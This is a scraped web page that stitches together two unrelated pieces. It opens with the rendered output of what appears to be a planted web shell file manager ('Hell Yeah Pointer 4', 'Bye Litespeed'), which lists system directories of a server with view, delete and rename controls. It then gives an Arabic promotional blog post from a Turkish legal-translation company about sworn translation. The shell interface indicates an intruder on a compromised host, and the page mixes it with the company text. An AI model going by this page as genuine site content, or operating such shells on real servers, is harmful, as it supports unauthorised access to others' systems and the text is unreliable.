Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-10 11:44:23
curdir: / / usr / lib / .build-id / b0 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 13:21:41 0755
.. 4096 2026-02-18 14:39:34 0755
08cb976f4f5bd53c66bfd03632ed1774066f06 12072 2025-12-08 12:43:19 0755
0a631a062cc6531fc4dc149d31452f629802bb 1970-01-01 03:00:00 0
1ffcdf62f91c84a0d95420ee7a37979a5a837f 91744 2024-02-21 14:04:01 0755
2901a59f49a57ff28edb5906f22670bdabda58 12584 2025-11-06 10:45:52 0755
2bc6495a85d714647cca591942b82c82ecd8f6 35360 2024-04-10 07:58:50 0755
30be1a2b5aaf3bbe5d4acb7f1c6fb4e774a8b9 1970-01-01 03:00:00 0
34004bc2b5b5dacb8810ca8cd26730b27db05b 12056 2025-12-08 12:43:19 0755
3f3f2cf22118ff335077246847a5089fb34ab1 1970-01-01 03:00:00 0
485641ee7c9f13f6d360bc0dc3fb1180dac4da 18640 2019-11-20 20:02:08 0755
4af163083f3b49ff41d69c11efbfcf039b24d3 1970-01-01 03:00:00 0
6a5f1ddf21f91a43d8684c50e6691473dd35e1 1970-01-01 03:00:00 0
6af3a6c45654af274222b180cc8560ceee8936 1970-01-01 03:00:00 0
6c44ab0e01e188f818ba0da8b58828c3065471 763856 2024-10-09 16:39:36 0755
718a5cfb930c4b6c8f7f290273dfede6377d85 1970-01-01 03:00:00 0
7c9f7f741809187f061a02e7ea78732fa4380b 15800 2025-08-26 12:04:13 0755
964c6b535714f99f708b49377be9ad6e04bd96 12064 2025-12-08 12:43:19 0755
9cf9bd03730b80a7edc1733eee4a7250a1ded7 221568 2025-12-18 16:44:34 0755
9ed7b56687e04fddbe5e20443854844406c097 20544 2025-08-26 12:08:24 0755
9fb50521e9b55c32d9729bc25e3d278145e038 16160 2025-12-08 12:43:19 0755
aacafc4366e4abf966c8a4256d95afb5f23944 12064 2025-12-08 12:43:19 0755
b39857e7d05f999e212f4c1d7b1b2dba97619c 1970-01-01 03:00:00 0
bdcaaca2cd4c5f84d77c39668a3269da0005cd 12120 2025-04-01 16:15:58 0755
c725eefb8d8130587f9b1cdafeab4a3b199ad5 1970-01-01 03:00:00 0
cfc6faad333df815a48bbdac1e16715e829b57 1970-01-01 03:00:00 0
e481747b38a39a7a4b7414781203d5d2e3b261 16848 2024-04-10 07:58:50 0755
ef1f8fc3857f8ffe1df47070f3f01c587e526e 24720 2025-12-17 21:54:08 0755
fa6c4a4b534d9ace6ef1049ff7582a85fd80e2 237360 2025-12-08 12:43:19 0755
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.